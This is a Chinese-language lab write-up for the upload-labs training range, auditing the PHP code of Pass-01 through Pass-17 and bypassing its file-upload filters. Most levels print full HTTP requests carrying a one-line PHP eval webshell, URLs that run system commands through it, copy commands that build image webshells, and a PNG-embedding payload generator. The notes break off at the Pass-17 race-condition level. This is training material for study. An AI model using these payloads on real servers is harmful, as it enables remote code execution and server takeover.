upload-labs 靶场通关笔记
靶场搭建
Windows
下载作者提供的PHPStudy整合版,避免bug
https://github.com/c0ny1/upload-labs/releases
Linux
不推荐使用,有一些攻击利用了Windows的特性,Linux上传后可能连接不上木马(而且多后缀解析也存在问题)
docker run -d -p 80:80 cuer/upload-labs
Pass-01
源码审计
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
只有在js代码中进行校验,提交到后端的PHP代码处理没有任何的过滤(前端校验等于没有校验)
攻击
前端js验证
- 直接上传图片通过前端,抓包,修改后直接发送请求包
POST http://192.168.1.17/Pass-01/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719
Content-Length: 378
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-01/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="submit"
上传
-----------------------------225474232222570505221243396719--
- 修改前端,禁用checkfile()函数,即可上传成功
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
前端验证都是纸老虎
Pass-02
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
源码审计,通过检测报文发送数据中的Content-Type 的值来对文件的类型进行过滤,只需要发送报文的时候将Content-Type值改为image/png,实际仍是.php,即可绕过,形同虚设
攻击
POST http://192.168.1.17/Pass-02/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389
Content-Length: 375
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="submit"
上传
-----------------------------42773365403714671171577664389--
服务端对Content-Type进行字段验证
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
服务端对Content-Type字段的验证,修改字段上传绕过
Pass-03
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
审计源码,发现其只过滤了 '.asp','.aspx','.php','.jsp'
这些文件后缀,构造其他后缀的文件如.phtml、.php5即可
攻击
通过上传.php5、.phtml等其他后缀绕过限制
ps:用Github靶场的Release环境,就可以解析了,自己配太折腾了
知识点
多后缀解析php文件可上传绕过
Pass-04
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
相比于Pass-03,增加了许多黑名单,但是忘记过滤了.htaccess
,服务器是Apache可以这样利用
攻击
1、先上传.htaccess
后缀文件改变Apache 服务器的配置,将所有的.png文件都已php来解析
AddType application/x-httpd-php .png
或者
<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>
选择方式一
2、上传后,将1.php改为1.png进行上传,成功解析
验证:访问如下url http://192.168.1.17/upload/1.png?shell=system("id");
知识点
Apache服务器中,可以通过上传.htaccess
文件来改变服务器的解析逻辑,需要上传有覆盖的功能
Pass-05
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
相比之前的pass,去除了将输入转换为小写的步骤,因此可以上传.PhP
类型的后缀Bypass
攻击
上传木马,文件名为1.PhP
即可Bypass
访问http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");
有回显
知识点
文件后缀大小写绕过
Pass-06
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
相比之前的pass 缺少了 trim() 函数过滤空格,抓包拦截带空格的后缀,后端识别的后缀名就是php
,实现Bypass
攻击
通过抓包,往文件后缀添加空格,即可绕过
ps:我访问该URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");
没回显,中间空格去掉直接404 not found
查阅资料,windows特性,会自动去掉后缀名中最后的空格
对于靶场最好还是Windows搭建,除了一些需要Linux关卡
打到这里我赶紧下载官方环境,再次进行测试,访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
回显成功
知识点
windows特性,会自动去掉后缀名中最后的空格
Pass-07
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
相比于之前的pass,缺少了deldot()函数,删除文件末尾的.
利用Windows,1.php.
会自动重命名为1.php
的特性
抓包,修改文件名,实现ByPass
攻击
POST 携带的数据如下
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="upload_file"; filename="1.php."
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="submit"
上传
-----------------------------1148941150563825243932695907--
访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
有回显
知识点
利用Windows,1.php.
会自动重命名为1.php
的特性
Pass-08
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
相比于之前的pass,删除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
对字符串::$DATA
并没有进行过滤
通过上传后缀.php::$data
进行Bypass,1.php:$DATA
文件名与1.php
一致
攻击
抓包,修改文件名,报文(POST 数据)如下
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="submit"
上传
-----------------------------281663601630465474662581018521--
访问http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");
有回显
打开图片的时候把末尾的::$DATA
删除就行
知识点
1.php:$DATA
文件名与1.php
一致
关于::$DATA的解释(GPT
在 Windows 中,使用 1.php::$DATA
来创建文件时,会有以下效果:
- 主数据流:
1.php
是这个文件的主数据流,包含文件的正常内容。比如如果你在这个文件里写入 PHP 代码或其他文本,它就会存储在主数据流中。 ::$DATA
的含义:在1.php::$DATA
中,::$DATA
实际上是对主数据流的引用。也就是说,它引用的就是1.php
文件的默认数据流。它没有创建一个新的、独立的数据流,而是直接引用了1.php
自己的内容。- 不创建额外数据流:如果你尝试直接使用
1.php::$DATA
这样的文件名去创建文件,系统只会把它当作对1.php
主数据流的引用,而不会在文件系统中创建一个新的数据流。因此,没有实际效果上的变化,它和直接访问1.php
没有区别。
总结:
- 不会创建新的文件:
1.php::$DATA
实际上是引用1.php
文件的内容。 - 没有附加数据流:它没有创建或使用附加数据流,而是直接指向
1.php
自身的默认内容。 - 等同于访问
1.php
:当你尝试读取1.php::$DATA
,其效果和直接读取1.php
是一样的。
换句话说,::$DATA
并不是用于创建新的流,而是表明当前正在访问文件的主数据流。
Pass-09
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
首先看下$file_name = deldot($filename)
这行代码, 它的作用是将上传文件最末尾的"."去除掉了, 我们可以利用它这个机制来绕过后缀限制, 例如上传一个文件名为webshell.php. .
, 经过deldot函数的处理后文件名为webshell.php.
然后再看下strrchr
函数, 该函数的作用是返回的字符串从指定字符的位置开始,包含指定字符。因此,$file_ext
变量中保存的是文件的扩展名, 也就是说最终$file_ext
的值为.
$deny_ext
是一个存有黑名单后缀的数组, 后面代码判断$file_ext
是否是黑名单后缀, 由于$file_ext
的值为.
, 并不属于限制后缀, 因此能够上传成功
攻击
利用 trim()、deldot() 等只删除了一次,并没有循环嵌套删除的漏洞
上传文件时抓包,将文件名改为1.php. .
即可,POST数据段报文如下
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="submit"
上传
-----------------------------374897871012500191664085237289--
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
ps:直接用靶场Release仓库的环境就行,省事
知识点
利用Windows写入文件时,1.php.
会直接省略末尾的空后缀.
实现绕过
Pass-10
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
trim
去除两端空格
str_ireplace
把$file_name
中的$deny_ext
替换成""
由于没有循环过滤,可以双写后缀名绕过
攻击
上传1.pphphp即可绕过
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
未循环过滤,双写后缀绕过
Pass-11
源码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
简述代码逻辑
- 定义一个数组,里面有一些常见图片的后缀名
- 提取文件名的最后一个
.
的后面的内容 - 判断后缀是否是合法文件名里面的
- 如果合法,Get请求获取save_path,拼接写入
从上述分析可知,通过GET请求来获取save_path
参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/1.php%00
, 也就是在文件名后面添加截断符号%00
,这样做的作用是将截断数据, Windows创建文件时会忽略后面rand(10, 99).date("YmdHis").".".$file_ext
这行代码, 这样写入的文件名就变成了../upload/1.php
%00
是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)
攻击
上传1.png文件,抓包拦截,修改Get请求save_path参数传递的值为../upload/1.php%00
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
Windows系统%00
文件名截断
但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。
原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。
Pass-12
源码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
与Pass11的区别是,save_path采用Post接收
攻击
抓包拦截,Post数据报文如下,get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00
进行url解码
-----------------------------3046420336436958430603274329
Content-Disposition: form-data; name="save_path"
../upload/1.php%00
-----------------------------3046420336436958430603274329
Content-Disposition: form-data; name="upload_file"; filename="1.png"
Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
在BurpSuite里面对%00进行解码
访问http://192.168.2.221/upload/1.php?shell=system("whoami");
有回显
知识点
绕过思路 与Pass-11一致
get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00
进行url解码
Pass-13
源码审计
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
分析上传文件经过的处理逻辑
- 判断文件类型——读取上传文件的前2个字节,分别转换成10进制数后拼接成字符串进行判断
- 文件类型合法,上传成功
可上传图片马+文件包含漏洞Getshell
攻击
这里使用COPY命令将图片与webshell合成图片文件
copy QR.jpg/b+1.php webshell.jpg
copy KatoMegumi.gif/b+1.php webshell.gif
copy QR.png/b+1.php webshell.png
上传图片文件后,访问http://192.168.2.221/include.php?file=./upload/1820241016220923.jpg&shell=system("whoami");
有回显
ps:可以先测试图片上传后是否可以文件包包含不报错,不报错在制作图片马
报错的原因是有一些图片他的渲染字符串有<?
一种思路是将这些字符串替换成别的,但是图片失真严重
我这边直接用二维码的图片作为图片马载体,规避报错
由于回显输出过多,可以用蚁剑测试是否连接成功,蚁剑配置如下
其余图片文件略
知识点
图片马+文件包含漏洞 GetShell
Pass-14
源码审计
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
与Pass-13一致,先执行isImage()函数,下面分析isImage()函数
getimagesize函数
返回结果说明$info(https://www.runoob.com/php/php-getimagesize.html)
image_type_to_extension函数—返回图片后缀 https://www.runoob.com/php/php-image-type-to-extension.html
对图片的二进制内容没有做任何分析,可以利用Pass-13的方式GetShell
略
攻击
Pass-13的方式,上传图片马
jpg上传图片的时候重命名为了jpeg
知识点
getimagesize函数 https://www.runoob.com/php/php-getimagesize.html
image_type_to_extension函数 https://www.runoob.com/php/php-image-type-to-extension.html
Pass-15
源码审计
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
与getimagesize函数类似
攻击
Pass-13的方式,上传图片马
知识点
exif_imagetype() 函数 https://www.php.net/manual/zh/function.exif-imagetype.php
Pass-16
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
} // png & gif 略
else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
imagecreateformjpeg()函数来对上传的图片文件进行二次渲染,随后返回一个新的图像文件, 由于新的图像文件是经过二次渲染后的, 所以我们在图像中布置的恶意代码也会被刷新, 从而导致不能配合文件包含漏洞来解析脚本文件
但是, 二次渲染后的文件并不是所有文件内容都会被刷新, 有一小部分是没有修改的, 我们只需找到这一小部分内容的位置, 然后将代码插入进去, 就能实现绕过
对于做文件上传之二次渲染建议用GIF图片,渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
攻击
GIF (首选)
制作GIF图片马,上传
下载上传后的GIF,对比哪里没有被修改,直接添加即可(要覆写原本的二进制)
使用010editor的比较文件功能
点击结果即可高亮显示未被修改的二进制
添加木马至不变区域
ps:我这边选择第一个匹配区域的内容进行替换,不知道为什么第二个匹配区域替换无效果
假设上传前的GIF为1.gif,上传后的GIF为2.gif,需要在1.gif中覆盖添加不变的区域,添加后效果如图所示
上传后,蚁剑连接,GetShell
PNG
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
可能需要安装php-gd,执行php genPNG.php
生成1.png图片,上传即可
利用方式如下:
get传参0=system
加上
post传参1=whoami
JPG (失败)
参考文件上传---二次渲染中的JPG二次渲染
# 生成二次渲染的jpg图片
php 文件名.php 文件名.jpg
php genJPG.php
# 渲染后php木马内容
<?=eval($_POST[1]);?>
手工操作
注意
jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染
上传推荐专用的二次渲染图0.jpg,下载二次渲染后的结果为res.jpg,运行脚本
php genJpg.php res.jpg
生成好的payload下载后,还要看点运气,多试几张图片
由于jpg图片易损,对图片的选取有很大关系,很容易制作失败
实际操作后并未复现成功
知识点
二次渲染绕过
Pass-17
源码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
1、关键函数
move_uploaded_file(string $from
, string $to
): bool
本函数检查并确保由 from
指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 to
指定的文件。
这种检查显得格外重要,如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。
2、逻辑分析:系统是先保存的图片文件在判断是否合法,非法就删除,通过在删除之前访问该文件,实现绕过——条件竞争
攻击
